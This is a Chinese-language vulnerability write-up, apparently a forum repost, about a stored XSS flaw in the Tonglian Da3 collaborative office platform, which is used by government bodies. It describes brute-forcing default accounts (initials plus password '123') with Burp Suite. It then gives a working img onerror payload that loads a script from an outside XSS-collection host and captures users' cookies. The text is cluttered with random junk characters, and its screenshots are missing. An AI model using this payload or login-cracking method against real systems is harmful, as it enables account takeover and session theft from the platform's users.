同联Da3协同办公平台后台通用储存型xss漏洞

admin

, z5 Z7 N7 D" F+ U & v( e: A$ B7 T# k$ j3 ^0 v: [( v5 s$ k 4 u4 y% c5 ^6 Y0 c' q" U1 ? % n& g) M0 O/ A. H9 x B6 R) K. J9 m( _; R 7 j' Z) R6 g0 @0 Y) t& s6 ^ * N0 i/ R- _3 d K# { 8 T \6 Q; z/ u6 t: L

同联Da3协同办公平台后台通用储存型xss漏洞

B c0 f9 d7 z2 k( Q

; [9 ?: Q: b0 k3 z 平台简介：

 

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
) T+ ~' l0 f5 h/ j" o同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
; V) b6 t& A! h6 A$ X同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

, R: v; }0 [5 y9 f. X) f+ o

. \% y7 p( p- @, D; z/ u   * n8 S, h! R( E- i% t/ _

# Q# @3 Q% \5 H 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

 

1 W: P W5 a- J2 \

http://1.1.1.1:7197/cap-aco/#（案例2-）

' Q8 l9 r+ s/ m! g. A" _& J

1 V- m# U3 o# g: } http://www.XXOO.com （案例1-官网网站） 2 c8 o) P- P @. w6 {

7 h3 v! i+ K3 H# V9 C3 B/ A

9 y0 u0 H0 g: F' q 漏洞详情:

- [' D- O: S5 x. w  案例一、 2 L2 X3 C8 d$ D/ u ~5 W

# V. I& S9 l1 N 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

0 e5 H5 Y- V6 y" m8 L* y( m- H; X

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 1 ?- x3 J0 m% c6 Q" c0 T

7 \% L& h3 c7 f: Y, z   * u5 D: `0 l: d/ z# Y8 [; @7 ~$ M

3 S% G1 k& P$ @. O6 [

& l$ T" G1 t6 k9 t" l4 W

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

  ) y4 X3 q% L/ t/ c' g

' k S- E1 D2 g7 J ( \: P, G1 j$ l

" A* q3 I$ i, _0 n i 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

6 n/ I5 M5 z! ^

1 C8 N2 M+ x1 t. m   ( L5 ]1 D2 T, E0 J* R' F1 }7 C1 u

<img src=x # O z# U/ i' F) Sonerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

- a( k9 Z/ D, S. v U

# Z- e* y7 g7 B; O

: y% J+ g: C7 o9 o! ~, r

然后发送，接收cookie如图：

2 C3 q# ?: M9 ] L

  ' R' N+ U2 s# t+ C, H% L U

) G. b4 }3 c1 ]3 F   " Y0 p# ^% E# m d5 c

# m. Y. ]0 m/ Z( g0 C3 @$ u

 

  - k' s5 ~& `( w

- m3 C- p3 S+ c1 F9 D- V: B

+ U, e7 `$ m1 b3 O4 H: |1 w0 ?

, g3 ^6 k7 w% w; Y' b+ F

" J" o1 Z# D7 T4 r/ e5 x / J, ~, U F: ^9 \( H1 g: ^

% Q% Q. h2 Q' }7 G! \

  * S3 d: I. i' u5 W5 f) D

|* o! w- q7 @) [2 @- r, q

案例2、

' G- c1 o. i$ ?0 r6 Q 前面步骤都一样，下面看效果图：

& V8 X- G7 g, M

; F; L5 E* |, d

* `3 P4 i5 h* }

. x( }2 R9 y" d* X/ ~. S

6 J" w" B3 J6 h* A5 Y7 q  

' ]( w) F, d+ }- T  

! h4 A8 L6 C3 Q$ ?

& G( ?( ~& d2 N1 U) w! S   ( _8 x2 @* k% D( a

 

  , s/ t$ E# A5 Q% @

) t7 S0 t0 W6 L" e; L: f   ) K g# k% B3 v) z; Y" S

0 p* Z% C' G/ z& b7 E: O+ k